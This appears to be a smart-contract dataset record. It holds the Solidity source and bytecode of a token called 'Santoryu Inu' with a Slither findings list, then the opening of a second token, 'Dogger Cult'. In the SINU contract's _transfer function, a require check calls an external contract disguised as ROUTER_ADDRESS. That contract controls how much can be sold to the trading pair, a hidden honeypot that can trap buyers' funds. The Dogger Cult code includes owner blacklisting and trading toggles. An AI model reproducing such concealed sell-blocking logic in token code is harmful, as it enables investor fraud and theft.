require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="SINU";
string constant TOKEN_NAME="Santoryu Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract SINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102975780639e752b95146102c4578063a9059cbb146102e4578063dd62ed3e14610304578063f42938901461034a57600080fd5b806356d9dce81461022557806370a082311461023a578063715018a61461025a5780638da5cb5b1461026f57600080fd5b8063293230b8116100d1578063293230b8146101c8578063313ce567146101df5780633e07ce5b146101fb57806351bc3c851461021057600080fd5b806306fdde031461010e578063095ea7b31461015557806318160ddd1461018557806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b53616e746f72797520496e7560a01b60208201525b60405161014c91906114f6565b60405180910390f35b34801561016157600080fd5b50610175610170366004611560565b61035f565b604051901515815260200161014c565b34801561019157600080fd5b5061019a610376565b60405190815260200161014c565b3480156101b457600080fd5b506101756101c336600461158c565b610397565b3480156101d457600080fd5b506101dd610400565b005b3480156101eb57600080fd5b506040516006815260200161014c565b34801561020757600080fd5b506101dd610778565b34801561021c57600080fd5b506101dd6107ae565b34801561023157600080fd5b506101dd6107db565b34801561024657600080fd5b5061019a6102553660046115cd565b61085c565b34801561026657600080fd5b506101dd61087e565b34801561027b57600080fd5b506000546040516001600160a01b03909116815260200161014c565b3480156102a357600080fd5b5060408051808201909152600481526353494e5560e01b602082015261013f565b3480156102d057600080fd5b506101dd6102df3660046115ea565b610922565b3480156102f057600080fd5b506101756102ff366004611560565b61094b565b34801561031057600080fd5b5061019a61031f366004611603565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035657600080fd5b506101dd610958565b600061036c3384846109c2565b5060015b92915050565b60006103846006600a611736565b610392906305f5e100611745565b905090565b60006103a4848484610ae6565b6103f684336103f1856040518060600160405280602881526020016118c3602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e22565b6109c2565b5060019392505050565b6009546001600160a01b0316331461041757600080fd5b600c54600160a01b900460ff16156104765760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a29030906001600160a01b03166104946006600a611736565b6103f1906305f5e100611745565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105199190611764565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059f9190611764565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190611764565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106408161085c565b6000806106556000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e29190611781565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610751573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077591906117af565b50565b6009546001600160a01b0316331461078f57600080fd5b61079b6006600a611736565b6107a9906305f5e100611745565b600a55565b6009546001600160a01b031633146107c557600080fd5b60006107d03061085c565b905061077581610e5c565b6009546001600160a01b031633146107f257600080fd5b600c54600160a01b900460ff1661084b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046d565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037090610fd6565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093957600080fd5b6009811061094657600080fd5b600855565b600061036c338484610ae6565b6009546001600160a01b0316331461096f57600080fd5b4761077581611053565b60006109bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611091565b9392505050565b6001600160a01b038316610a245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046d565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046d565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046d565b60008111610c0e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046d565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8191906117d1565b600c546001600160a01b038481169116148015610cac5750600b546001600160a01b03858116911614155b610cb7576000610cb9565b815b1115610cc457600080fd5b6000546001600160a01b03848116911614801590610cf057506000546001600160a01b03838116911614155b15610e1257600c546001600160a01b038481169116148015610d205750600b546001600160a01b03838116911614155b8015610d4557506001600160a01b03821660009081526004602052604090205460ff16155b15610d9b57600a548110610d9b5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046d565b6000610da63061085c565b600c54909150600160a81b900460ff16158015610dd15750600c546001600160a01b03858116911614155b8015610de65750600c54600160b01b900460ff165b15610e1057610df481610e5c565b47670de0b6b3a7640000811115610e0e57610e0e47611053565b505b505b610e1d8383836110bf565b505050565b60008184841115610e465760405162461bcd60e51b815260040161046d91906114f6565b506000610e5384866117ea565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea457610ea4611801565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f219190611764565b81600181518110610f3457610f34611801565b6001600160a01b039283166020918202929092010152600b54610f5a91309116846109c2565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f93908590600090869030904290600401611817565b600060405180830381600087803b158015610fad57600080fd5b505af1158015610fc1573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046d565b60006110476110ca565b90506109bb8382610979565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108d573d6000803e3d6000fd5b5050565b600081836110b25760405162461bcd60e51b815260040161046d91906114f6565b506000610e538486611888565b610e1d8383836110ed565b60008060006110d76111e4565b90925090506110e68282610979565b9250505090565b6000806000806000806110ff87611266565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113190876112c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111609086611305565b6001600160a01b03891660009081526002602052604090205561118281611364565b61118c84836113ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d191815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f96006600a611736565b611207906305f5e100611745565b905061122f6112186006600a611736565b611226906305f5e100611745565b60055490610979565b82101561125d576005546112456006600a611736565b611253906305f5e100611745565b9350935050509091565b90939092509050565b60008060008060008060008060006112838a6007546008546113d2565b92509250925060006112936110ca565b905060008060006112a68e878787611427565b919e509c509a509598509396509194505050505091939550919395565b60006109bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e22565b60008061131283856118aa565b9050838110156109bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046d565b600061136e6110ca565b9050600061137c8383611477565b306000908152600260205260409020549091506113999082611305565b30600090815260026020526040902055505050565b6005546113bb90836112c3565b6005556006546113cb9082611305565b6006555050565b60008080806113ec60646113e68989611477565b90610979565b905060006113ff60646113e68a89611477565b90506000611417826114118b866112c3565b906112c3565b9992985090965090945050505050565b60008080806114368886611477565b905060006114448887611477565b905060006114528888611477565b905060006114648261141186866112c3565b939b939a50919850919650505050505050565b60008261148657506000610370565b60006114928385611745565b90508261149f8583611888565b146109bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046d565b600060208083528351808285015260005b8181101561152357858101830151858201604001528201611507565b81811115611535576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077557600080fd5b6000806040838503121561157357600080fd5b823561157e8161154b565b946020939093013593505050565b6000806000606084860312156115a157600080fd5b83356115ac8161154b565b925060208401356115bc8161154b565b929592945050506040919091013590565b6000602082840312156115df57600080fd5b81356109bb8161154b565b6000602082840312156115fc57600080fd5b5035919050565b6000806040838503121561161657600080fd5b82356116218161154b565b915060208301356116318161154b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168d5781600019048211156116735761167361163c565b8085161561168057918102915b93841c9390800290611657565b509250929050565b6000826116a457506001610370565b816116b157506000610370565b81600181146116c757600281146116d1576116ed565b6001915050610370565b60ff8411156116e2576116e261163c565b50506001821b610370565b5060208310610133831016604e8410600b8410161715611710575081810a610370565b61171a8383611652565b806000190482111561172e5761172e61163c565b029392505050565b60006109bb60ff841683611695565b600081600019048311821515161561175f5761175f61163c565b500290565b60006020828403121561177657600080fd5b81516109bb8161154b565b60008060006060848603121561179657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c157600080fd5b815180151581146109bb57600080fd5b6000602082840312156117e357600080fd5b5051919050565b6000828210156117fc576117fc61163c565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a557634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bd576118bd61163c565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5c77556446c1e82af569b74f72562db9308409e033b873d57bb831d8201a1c064736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,418 |
0xb30ae0bb36f49716868aff083b896d4657e84938
|
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
/*
DOGGERCULT - $DOGCULT
Telegram: https://t.me/DoggerCult
Twitter: https://twitter.com/DoggerCult
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DOGGERCULT is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Dogger Cult";//////////////////////////
string private constant _symbol = "DOGCULT";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xB15eABB7C0240E150B5914392c65d4AFAEA60980);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xB15eABB7C0240E150B5914392c65d4AFAEA60980);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
